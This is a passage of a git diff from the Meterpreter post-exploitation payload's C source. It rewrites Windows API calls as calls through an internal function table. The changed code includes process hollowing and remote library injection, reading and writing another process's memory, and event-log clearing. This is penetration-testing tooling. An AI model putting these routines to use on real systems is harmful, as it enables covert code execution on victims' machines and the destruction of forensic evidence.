met_api->desktop.update(remote, -1, NULL, NULL); - if (!RevertToSelf()) - dwResult = GetLastError(); + if (!met_api->win_api.advapi32.RevertToSelf()) + dwResult = met_api->win_api.kernel32.GetLastError(); } while(0); @@ -922,7 +893,7 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet) DWORD sizeNeeded = 0; // start by getting the size required to store the driver list - EnumDeviceDrivers(&ignored, sizeof(ignored), &sizeNeeded); + met_api->win_api.psapi.EnumDeviceDrivers(&ignored, sizeof(ignored), &sizeNeeded); if (sizeNeeded > 0) { @@ -931,7 +902,7 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet) LPVOID* driverList = (LPVOID*)malloc(sizeNeeded); if (driverList) { - if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded)) + if (met_api->win_api.psapi.EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded)) { wchar_t baseName[MAX_PATH]; wchar_t fileName[MAX_PATH]; @@ -942,9 +913,9 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet) { BOOL valid = TRUE; - if (!GetDeviceDriverBaseNameW(driverList[i], baseName, MAX_PATH)) + if (!met_api->win_api.psapi.GetDeviceDriverBaseNameW(driverList[i], baseName, MAX_PATH)) { - dprintf("[CONFIG] %d Driver base name read failed: %u 0x%x", i, GetLastError(), GetLastError()); + dprintf("[CONFIG] %d Driver base name read failed: %u 0x%x", i, met_api->win_api.kernel32.GetLastError(), met_api->win_api.kernel32.GetLastError()); // null terminate the string at the start, indicating that it's invalid baseName[0] = L'\x00'; } @@ -953,9 +924,9 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet) dprintf("[CONFIG] %d Driver basename: %S", i, baseName); } - if (!GetDeviceDriverFileNameW(driverList[i], fileName, MAX_PATH)) + if (!met_api->win_api.psapi.GetDeviceDriverFileNameW(driverList[i], fileName, MAX_PATH)) { - dprintf("[CONFIG] %d Driver file name read failed: %u 0x%x", i, GetLastError(), GetLastError()); + dprintf("[CONFIG] %d Driver file name read failed: %u 0x%x", i, met_api->win_api.kernel32.GetLastError(), met_api->win_api.kernel32.GetLastError()); // null terminate the string at the start, indicating that it's invalid fileName[0] = L'\x00'; diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c b/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c index fa074841b..0c5bf50eb 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c @@ -24,9 +24,9 @@ DWORD request_sys_eventlog_open(Remote * remote, Packet * packet) result = ERROR_INVALID_PARAMETER; } else { - hEvent = OpenEventLog(NULL, sourceName); + hEvent = met_api->win_api.advapi32.OpenEventLogA(NULL, sourceName); if(!hEvent) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); } else { met_api->packet.add_tlv_qword(response, TLV_TYPE_EVENT_HANDLE, (QWORD)hEvent); @@ -58,8 +58,8 @@ DWORD request_sys_eventlog_numrecords(Remote * remote, Packet * packet) result = ERROR_INVALID_PARAMETER; } else { - if(GetNumberOfEventLogRecords(hEvent, &numRecords) == 0) { - result = GetLastError(); + if(met_api->win_api.advapi32.GetNumberOfEventLogRecords(hEvent, &numRecords) == 0) { + result = met_api->win_api.kernel32.GetLastError(); } else { met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_NUMRECORDS, numRecords); @@ -100,10 +100,10 @@ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) } /* get the length of the next record, ghettoly */ - if(ReadEventLog(hEvent, readFlags, recordOffset, + if(met_api->win_api.advapi32.ReadEventLogA(hEvent, readFlags, recordOffset, &bytesRead, 0, &bytesRead, &bytesNeeded - ) != 0 || GetLastError() != ERROR_INSUFFICIENT_BUFFER) { - result = GetLastError(); + ) != 0 || met_api->win_api.kernel32.GetLastError() != ERROR_INSUFFICIENT_BUFFER) { + result = met_api->win_api.kernel32.GetLastError(); // met_api->packet.add_raw(response, TLV_TYPE_EVENT_BYTESNEEDED) break; } @@ -113,10 +113,10 @@ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) break; } - if(ReadEventLog(hEvent, readFlags, recordOffset, + if(met_api->win_api.advapi32.ReadEventLogA(hEvent, readFlags, recordOffset, buf, bytesNeeded, &bytesRead, &bytesNeeded ) == 0) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); // met_api->packet.add_raw(response, TLV_TYPE_EVENT_BYTESNEEDED) break; } @@ -163,8 +163,8 @@ DWORD request_sys_eventlog_oldest(Remote * remote, Packet * packet) HANDLE hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); DWORD oldest; - if(GetOldestEventLogRecord(hEvent, &oldest) == 0) { - result = GetLastError(); + if(met_api->win_api.advapi32.GetOldestEventLogRecord(hEvent, &oldest) == 0) { + result = met_api->win_api.kernel32.GetLastError(); } else { met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_RECORDNUMBER, oldest); @@ -190,8 +190,8 @@ DWORD request_sys_eventlog_clear(Remote * remote, Packet * packet) DWORD result = ERROR_SUCCESS; HANDLE hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); - if(ClearEventLog(hEvent, NULL) == 0) { - result = GetLastError(); + if(met_api->win_api.advapi32.ClearEventLogA(hEvent, NULL) == 0) { + result = met_api->win_api.kernel32.GetLastError(); } met_api->packet.transmit_response(result, remote, response); @@ -212,8 +212,8 @@ DWORD request_sys_eventlog_close(Remote * remote, Packet * packet) DWORD result = ERROR_SUCCESS; HANDLE hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); - if(CloseEventLog(hEvent) == 0) { - result = GetLastError(); + if(met_api->win_api.advapi32.CloseEventLog(hEvent) == 0) { + result = met_api->win_api.kernel32.GetLastError(); } met_api->packet.transmit_response(result, remote, response); diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c b/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c index 62108e52b..a557dbc86 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c @@ -23,26 +23,26 @@ DWORD request_sys_power_exitwindows(Remote * remote, Packet * packet) // result = ERROR_INVALID_PARAMETER; do { - if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token) == 0) { - result = GetLastError(); + if(met_api->win_api.advapi32.OpenProcessToken(met_api->win_api.kernel32.GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token) == 0) { + result = met_api->win_api.kernel32.GetLastError(); break; } - if(LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid) == 0) { - result = GetLastError(); + if(met_api->win_api.advapi32.LookupPrivilegeValueA(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid) == 0) { + result = met_api->win_api.kernel32.GetLastError(); break; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - if(AdjustTokenPrivileges(token, FALSE, &tkp, 0, NULL, NULL) == 0) { - result = GetLastError(); + if(met_api->win_api.advapi32.AdjustTokenPrivileges(token, FALSE, &tkp, 0, NULL, NULL) == 0) { + result = met_api->win_api.kernel32.GetLastError(); break; } - if(ExitWindowsEx(flags, reason) == 0) { - result = GetLastError(); + if(met_api->win_api.user32.ExitWindowsEx(flags, reason) == 0) { + result = met_api->win_api.kernel32.GetLastError(); break; } } while(0); @@ -50,7 +50,7 @@ DWORD request_sys_power_exitwindows(Remote * remote, Packet * packet) met_api->packet.transmit_response(result, remote, response); if(token) - CloseHandle(token); + met_api->win_api.kernel32.CloseHandle(token); return ERROR_SUCCESS; -} \ No newline at end of file +} diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c index c7e1d0916..f77894ce0 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c @@ -37,14 +37,14 @@ DWORD request_sys_process_image_load(Remote *remote, Packet *packet) // If the handle is not the current process, load the library // into the context of the remote process - if (handle != GetCurrentProcess()) + if (handle != met_api->win_api.kernel32.GetCurrentProcess()) result = remote_load_library(handle, image, &base); else { // Load the image file - if (!(base = LoadLibrary(image))) + if (!(base = met_api->win_api.kernel32.LoadLibraryA(image))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } } @@ -93,7 +93,7 @@ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) } // If the process handle is not this process... - if (process != GetCurrentProcess()) + if (process != met_api->win_api.kernel32.GetCurrentProcess()) { if ((result = remote_load_library(process, image, &mod)) != ERROR_SUCCESS) @@ -108,16 +108,16 @@ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) { unload = TRUE; - if (!(mod = LoadLibrary(image))) + if (!(mod = met_api->win_api.kernel32.LoadLibraryA(image))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } // Try to resolve the procedure name - if (!(address = (LPVOID)GetProcAddress(mod, procedure))) + if (!(address = (LPVOID)met_api->win_api.kernel32.GetProcAddress(mod, procedure))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } } @@ -130,7 +130,7 @@ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) // Lose the reference to the module if ((mod) && (unload)) - FreeLibrary(mod); + met_api->win_api.kernel32.FreeLibrary(mod); else if (mod) remote_unload_library(process, mod); @@ -166,13 +166,13 @@ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet) break; } - if (handle != GetCurrentProcess()) + if (handle != met_api->win_api.kernel32.GetCurrentProcess()) result = remote_unload_library(handle, base); else { // Unload the library - if (!FreeLibrary(base)) - result = GetLastError(); + if (!met_api->win_api.kernel32.FreeLibrary(base)) + result = met_api->win_api.kernel32.GetLastError(); } } while (0); @@ -183,11 +183,7 @@ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet) return ERROR_SUCCESS; } -typedef BOOL (WINAPI *PEnumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed); -typedef DWORD (WINAPI *PGetModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base, DWORD baseSize); -typedef DWORD (WINAPI *PGetModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, DWORD pathSize); - -/* +/* * Returns a list of all of the loaded image files and their base addresses to * the requestor. * @@ -195,19 +191,14 @@ typedef DWORD (WINAPI *PGetModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, */ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) { - Packet *response = met_api->packet.create_response(packet); - HMODULE *modules = NULL; - BOOLEAN valid = FALSE; - HMODULE psapi = NULL; - HANDLE handle; + Packet *response = met_api->packet.create_response(packet); + HMODULE *modules = NULL; + BOOLEAN valid = FALSE; + HANDLE handle; DWORD result = ERROR_SUCCESS; DWORD needed = 0, actual, tries = 0; DWORD index; - PEnumProcessModules enumProcessModules = NULL; - PGetModuleBaseName getModuleBaseName = NULL; - PGetModuleFileNameEx getModuleFileNameEx = NULL; - - handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); do { @@ -215,32 +206,7 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) if (!response) break; - // Open the process API - if (!(psapi = LoadLibrary("psapi"))) - { - result = GetLastError(); - break; - } - - if (!(enumProcessModules = (PEnumProcessModules)GetProcAddress(psapi, "EnumProcessModules"))) - { - result = GetLastError(); - break; - } - - if (!(getModuleBaseName = (PGetModuleBaseName)GetProcAddress(psapi, "GetModuleBaseNameA"))) - { - result = GetLastError(); - break; - } - - if (!(getModuleFileNameEx = (PGetModuleFileNameEx)GetProcAddress(psapi, "GetModuleFileNameExA"))) - { - result = GetLastError(); - break; - } - - // Validate parameters + // Validate parameters if (!handle) { result = ERROR_INVALID_PARAMETER; @@ -260,7 +226,7 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) modules = (HMODULE *)malloc(actual); // Try to enumerate the image's modules - if (enumProcessModules(handle, modules, actual, &needed)) + if (met_api->win_api.psapi.EnumProcessModules(handle, modules, actual, &needed)) { valid = TRUE; break; @@ -272,7 +238,7 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) // If we failed to succeed... if (!valid) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -289,16 +255,16 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) memset(path, 0, sizeof(path)); // Query for base name and file name - if ((!getModuleBaseName(handle, modules[index], name, - sizeof(name) - 1)) || - (!getModuleFileNameEx(handle, modules[index], path, + if ((!met_api->win_api.psapi.GetModuleBaseNameA(handle, modules[index], name, + sizeof(name) - 1)) || + (!met_api->win_api.psapi.GetModuleFileNameExA(handle, modules[index], path, sizeof(path) - 1))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } - base = htonl((DWORD)modules[index]); + base = met_api->win_api.ws2_32.htonl((DWORD)modules[index]); tlvs[0].header.length = sizeof(HMODULE); tlvs[0].header.type = TLV_TYPE_IMAGE_BASE; @@ -321,12 +287,8 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) // Cleanup if (modules) free(modules); - // Close the psapi library and clean up - if (psapi) - FreeLibrary(psapi); - - return ERROR_SUCCESS; -} + return ERROR_SUCCESS; +} /******************* * Helper routines * @@ -377,11 +339,15 @@ DWORD remote_load_library(HANDLE process, LPCSTR image, HMODULE *base) { result = ERROR_NOT_ENOUGH_MEMORY; break; - } - - // Initialize the context - context->loadLibraryAddress = (PVOID)GetProcAddress( - GetModuleHandle("kernel32"), "LoadLibraryA"); + } + + // Initialize the context + context->loadLibraryAddress = (PVOID)met_api->win_api.kernel32.GetLoadLibraryAExportAddress(); + if (!context->loadLibraryAddress) + { + result = ERROR_PROC_NOT_FOUND; + break; + } strcpy_s(context->imagePath, imagePathSize, image); @@ -428,12 +394,16 @@ DWORD remote_get_proc_address(HANDLE process, HMODULE module, { result = ERROR_NOT_ENOUGH_MEMORY; break; - } - - // Initialize the context - context->getProcAddress = (PVOID)GetProcAddress( - GetModuleHandle("kernel32"), "GetProcAddress"); - context->module = module; + } + + // Initialize the context + context->getProcAddress = (PVOID)met_api->win_api.kernel32.GetProcAddressExportAddress(); + if (!context->getProcAddress) + { + result = ERROR_PROC_NOT_FOUND; + break; + } + context->module = module; strcpy_s(context->symbol, symbolSize, symbol); @@ -463,13 +433,17 @@ DWORD remote_unload_library(HANDLE process, HMODULE base) "\xff\x12" "\xc2\x04\x00"; - do - { - // Initialize the context - context.freeLibraryAddress = (PVOID)GetProcAddress( - GetModuleHandle("kernel32"), "FreeLibrary"); - - context.module = base; + do + { + // Initialize the context + context.freeLibraryAddress = (PVOID)met_api->win_api.kernel32.GetFreeLibraryExportAddress(); + if (!context.freeLibraryAddress) + { + result = ERROR_PROC_NOT_FOUND; + break; + } + + context.module = base; // Execute the FreeLibrary stub result = execute_code_stub_in_process(process, (PVOID)unloadLibraryStub, diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c index afacaa820..6b6a10b33 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c @@ -14,6 +14,7 @@ * - original PE based method by steve10120 [at] ic0de.org */ #include "precomp.h" +#include "common_metapi.h" typedef enum _PROCESSINFOCLASS { @@ -59,8 +60,6 @@ BOOL MapNewExecutableRegionInProcess( IN HANDLE TargetThreadHandle, IN LPVOID NewExecutableRawImage); -typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); - DWORD_PTR Align(DWORD_PTR Value, DWORD_PTR Alignment) { DWORD_PTR dwResult = Value; @@ -83,7 +82,6 @@ BOOL MapNewExecutableRegionInProcess( PIMAGE_DOS_HEADER DosHeader; PIMAGE_NT_HEADERS NtHeader64; DWORD_PTR dwImageBase; - NtUnmapViewOfSection pNtUnmapViewOfSection; LPVOID pImageBase; SIZE_T dwBytesWritten; SIZE_T dwBytesRead; @@ -98,35 +96,33 @@ BOOL MapNewExecutableRegionInProcess( if (NtHeader64->Signature == IMAGE_NT_SIGNATURE) { RtlZeroMemory(&BasicInformation, sizeof(PROCESS_INFORMATION)); - ThreadContext = (PCONTEXT)VirtualAlloc(NULL, sizeof(ThreadContext) + 4, MEM_COMMIT, PAGE_READWRITE); + ThreadContext = (PCONTEXT)met_api->win_api.kernel32.VirtualAlloc(NULL, sizeof(ThreadContext) + 4, MEM_COMMIT, PAGE_READWRITE); ThreadContext = (PCONTEXT)Align((DWORD)ThreadContext, 4); ThreadContext->ContextFlags = CONTEXT_FULL; - if (GetThreadContext(TargetThreadHandle, ThreadContext)) //used to be LPCONTEXT(ThreadContext) + if (met_api->win_api.kernel32.GetThreadContext(TargetThreadHandle, ThreadContext)) //used to be LPCONTEXT(ThreadContext) { - ReadProcessMemory(TargetProcessHandle, (LPCVOID)(ThreadContext->Rdx + 16), &dwImageBase, sizeof(DWORD_PTR), &dwBytesRead); + met_api->win_api.kernel32.ReadProcessMemory(TargetProcessHandle, (LPCVOID)(ThreadContext->Rdx + 16), &dwImageBase, sizeof(DWORD_PTR), &dwBytesRead); - pNtUnmapViewOfSection = (NtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"); - if (pNtUnmapViewOfSection) - pNtUnmapViewOfSection(TargetProcessHandle, (PVOID)dwImageBase); + met_api->win_api.ntdll.ZwUnmapViewOfSection(TargetProcessHandle, (PVOID)dwImageBase); - pImageBase = VirtualAllocEx(TargetProcessHandle, (LPVOID)NtHeader64->OptionalHeader.ImageBase, NtHeader64->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); + pImageBase = met_api->win_api.kernel32.VirtualAllocEx(TargetProcessHandle, (LPVOID)NtHeader64->OptionalHeader.ImageBase, NtHeader64->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); if (pImageBase) { - WriteProcessMemory(TargetProcessHandle, pImageBase, (LPCVOID)NewExecutableRawImage, NtHeader64->OptionalHeader.SizeOfHeaders, &dwBytesWritten); + met_api->win_api.kernel32.WriteProcessMemory(TargetProcessHandle, pImageBase, (LPCVOID)NewExecutableRawImage, NtHeader64->OptionalHeader.SizeOfHeaders, &dwBytesWritten); SectionHeader = IMAGE_FIRST_SECTION(NtHeader64); for (Count = 0; Count < NtHeader64->FileHeader.NumberOfSections; Count++) { - WriteProcessMemory(TargetProcessHandle, (LPVOID)((DWORD_PTR)pImageBase + SectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)NewExecutableRawImage + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, &dwBytesWritten); + met_api->win_api.kernel32.WriteProcessMemory(TargetProcessHandle, (LPVOID)((DWORD_PTR)pImageBase + SectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)NewExecutableRawImage + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, &dwBytesWritten); SectionHeader++; } - WriteProcessMemory(TargetProcessHandle, (LPVOID)(ThreadContext->Rdx + 16), (LPVOID)&NtHeader64->OptionalHeader.ImageBase, sizeof(DWORD_PTR), &dwBytesWritten); + met_api->win_api.kernel32.WriteProcessMemory(TargetProcessHandle, (LPVOID)(ThreadContext->Rdx + 16), (LPVOID)&NtHeader64->OptionalHeader.ImageBase, sizeof(DWORD_PTR), &dwBytesWritten); ThreadContext->Rcx = (DWORD_PTR)pImageBase + NtHeader64->OptionalHeader.AddressOfEntryPoint; - SetThreadContext(TargetThreadHandle, (LPCONTEXT)ThreadContext); - ResumeThread(TargetThreadHandle); + met_api->win_api.kernel32.SetThreadContext(TargetThreadHandle, (LPCONTEXT)ThreadContext); + met_api->win_api.kernel32.ResumeThread(TargetThreadHandle); Success = TRUE; } else - TerminateProcess(TargetProcessHandle, 0); + met_api->win_api.kernel32.TerminateProcess(TargetProcessHandle, 0); //VirtualFree(ThreadContext, 0, MEM_RELEASE); } } @@ -146,8 +142,6 @@ BOOL MapNewExecutableRegionInProcess( PIMAGE_DOS_HEADER DosHeader; PIMAGE_NT_HEADERS NtHeader; PMINI_PEB ProcessPeb; - NTSTATUS (NTAPI *NtUnmapViewOfSection)(HANDLE, LPVOID) = NULL; - NTSTATUS (NTAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG) = NULL; NTSTATUS Status; CONTEXT ThreadContext; LPVOID OldEntryPoint = NULL; @@ -176,7 +170,7 @@ BOOL MapNewExecutableRegionInProcess( ThreadContext.ContextFlags = CONTEXT_INTEGER; - if (!GetThreadContext( + if (!met_api->win_api.kernel32.GetThreadContext( TargetThreadHandle, &ThreadContext)) { @@ -189,16 +183,11 @@ BOOL MapNewExecutableRegionInProcess( // Unmap the old executable region in the child process to avoid // conflicts // - NtUnmapViewOfSection = (NTSTATUS (NTAPI *)(HANDLE, LPVOID))GetProcAddress( - GetModuleHandle( - TEXT("NTDLL")), - "NtUnmapViewOfSection"); - - if ((Status = NtUnmapViewOfSection( + if ((Status = met_api->win_api.ntdll.ZwUnmapViewOfSection( TargetProcessHandle, OldEntryPoint)) != ERROR_SUCCESS) { - SetLastError(ERROR_INVALID_ADDRESS); + met_api->win_api.kernel32.SetLastError(ERROR_INVALID_ADDRESS); break; } @@ -208,7 +197,7 @@ BOOL MapNewExecutableRegionInProcess( ThreadContext.Eax = NtHeader->OptionalHeader.AddressOfEntryPoint + NtHeader->OptionalHeader.ImageBase; - if (!SetThreadContext( + if (!met_api->win_api.kernel32.SetThreadContext( TargetThreadHandle, &ThreadContext)) break; @@ -216,7 +205,7 @@ BOOL MapNewExecutableRegionInProcess( // // Allocate storage for the new executable in the child process // - if (!(TargetImageBase = VirtualAllocEx( + if (!(TargetImageBase = met_api->win_api.kernel32.VirtualAllocEx( TargetProcessHandle, (LPVOID)NtHeader->OptionalHeader.ImageBase, NtHeader->OptionalHeader.SizeOfImage, @@ -227,12 +216,7 @@ BOOL MapNewExecutableRegionInProcess( // // Update the executable's image base address in the PEB... // - NtQueryInformationProcess = (NTSTATUS (NTAPI *)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG))GetProcAddress( - GetModuleHandle( - TEXT("NTDLL")), - "NtQueryInformationProcess"); - - if (NtQueryInformationProcess( + if (met_api->win_api.ntdll.ZwQueryInformationProcess( TargetProcessHandle, ProcessBasicInformation, &BasicInformation, @@ -242,7 +226,7 @@ BOOL MapNewExecutableRegionInProcess( ProcessPeb = BasicInformation.PebBaseAddress; - if (!WriteProcessMemory( + if (!met_api->win_api.kernel32.WriteProcessMemory( TargetProcessHandle, (LPVOID)&ProcessPeb->ImageBaseAddress, (LPVOID)&NtHeader->OptionalHeader.ImageBase, @@ -253,7 +237,7 @@ BOOL MapNewExecutableRegionInProcess( // // Copy the image headers and all of the section contents // - if (!WriteProcessMemory( + if (!met_api->win_api.kernel32.WriteProcessMemory( TargetProcessHandle, TargetImageBase, NewExecutableRawImage, @@ -275,7 +259,7 @@ BOOL MapNewExecutableRegionInProcess( (SectionHeader[SectionIndex].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)) continue; - if (!WriteProcessMemory( + if (!met_api->win_api.kernel32.WriteProcessMemory( TargetProcessHandle, (LPVOID)((PCHAR)TargetImageBase + SectionHeader[SectionIndex].VirtualAddress), diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c index 3db7ccbe0..120075a4f 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c @@ -2,25 +2,7 @@ #include "common_metapi.h" #include "../tiny-regex-c/re.h" -#ifndef __kernel_entry -#define __kernel_entry -#endif - -typedef __kernel_entry NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS) (HANDLE ProcessHandle, DWORD ProcessInformationClass, LPVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); - -typedef SIZE_T(WINAPI* VIRTUALQUERYEX) (HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); - -typedef BOOL(WINAPI* CLOSEHANDLE) (HANDLE hObject); - -typedef HANDLE(WINAPI* OPENPROCESS) (DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); - -typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName); - -// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtReadVirtualMemory.html -// https://ntdoc.m417z.com/ntreadvirtualmemory -typedef NTSTATUS(NTAPI* NTREADVIRTUALMEMORY) (HANDLE ProcessHandle, LPCVOID BaseAddress, LPVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); - -typedef struct _UNICODE_STRING { +typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; @@ -113,13 +95,13 @@ DWORD request_sys_process_memory_allocate(Remote *remote, Packet *packet) prot = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROTECTION); // Allocate the memory - if ((base = VirtualAllocEx(handle, base, size, alloc, prot))) + if ((base = met_api->win_api.kernel32.VirtualAllocEx(handle, base, size, alloc, prot))) { met_api->packet.add_tlv_qword(response, TLV_TYPE_BASE_ADDRESS, (QWORD)base); } else { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); } // Transmit the response @@ -146,8 +128,8 @@ DWORD request_sys_process_memory_free(Remote *remote, Packet *packet) base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); // Free the memory - if (!VirtualFreeEx(handle, base, 0, MEM_RELEASE)) - result = GetLastError(); + if (!met_api->win_api.kernel32.VirtualFreeEx(handle, base, 0, MEM_RELEASE)) + result = met_api->win_api.kernel32.GetLastError(); // Transmit the response met_api->packet.transmit_response(result, remote, response); @@ -196,10 +178,10 @@ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet) } // Read the memory from the process...break out on failure - if ((!ReadProcessMemory(handle, base, buffer, size, &bytesRead)) && - (GetLastError() != ERROR_PARTIAL_COPY)) + if ((!met_api->win_api.kernel32.ReadProcessMemory(handle, base, buffer, size, &bytesRead)) && + (met_api->win_api.kernel32.GetLastError() != ERROR_PARTIAL_COPY)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -233,7 +215,7 @@ DWORD request_sys_process_memory_write(Remote *remote, Packet *packet) HANDLE handle; LPVOID base; DWORD result = ERROR_SUCCESS; - size_t written = 0; + SIZE_T written = 0; Tlv data; handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); @@ -251,11 +233,11 @@ DWORD request_sys_process_memory_write(Remote *remote, Packet *packet) } // Write the memory - if ((!WriteProcessMemory(handle, base, data.buffer, data.header.length, + if ((!met_api->win_api.kernel32.WriteProcessMemory(handle, base, data.buffer, data.header.length, &written)) && - (GetLastError() != ERROR_PARTIAL_COPY)) + (met_api->win_api.kernel32.GetLastError() != ERROR_PARTIAL_COPY)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -301,9 +283,9 @@ DWORD request_sys_process_memory_query(Remote *remote, Packet *packet) } // No bytes returned? Suck. - if (!(size = VirtualQueryEx(handle, base, &info, sizeof(info)))) + if (!(size = met_api->win_api.kernel32.VirtualQueryEx(handle, base, &info, sizeof(info)))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -358,9 +340,9 @@ DWORD request_sys_process_memory_protect(Remote *remote, Packet *packet) } // Change the protection mask - if (!VirtualProtectEx(handle, base, size, prot, &old)) + if (!met_api->win_api.kernel32.VirtualProtectEx(handle, base, size, prot, &old)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -392,8 +374,8 @@ DWORD request_sys_process_memory_lock(Remote *remote, Packet *packet) base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); - if (!VirtualLock(base, size)) - result = GetLastError(); + if (!met_api->win_api.kernel32.VirtualLock(base, size)) + result = met_api->win_api.kernel32.GetLastError(); // Transmit the response met_api->packet.transmit_response(result, remote, response); @@ -417,8 +399,8 @@ DWORD request_sys_process_memory_unlock(Remote *remote, Packet *packet) base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); - if (!VirtualUnlock(base, size)) - result = GetLastError(); + if (!met_api->win_api.kernel32.VirtualUnlock(base, size)) + result = met_api->win_api.kernel32.GetLastError(); // Transmit the response met_api->packet.transmit_response(result, remote, response); @@ -473,35 +455,7 @@ NTSTATUS add_needle_results_to_packet(Packet* packet, const unsigned char* memor return ERROR_SUCCESS; 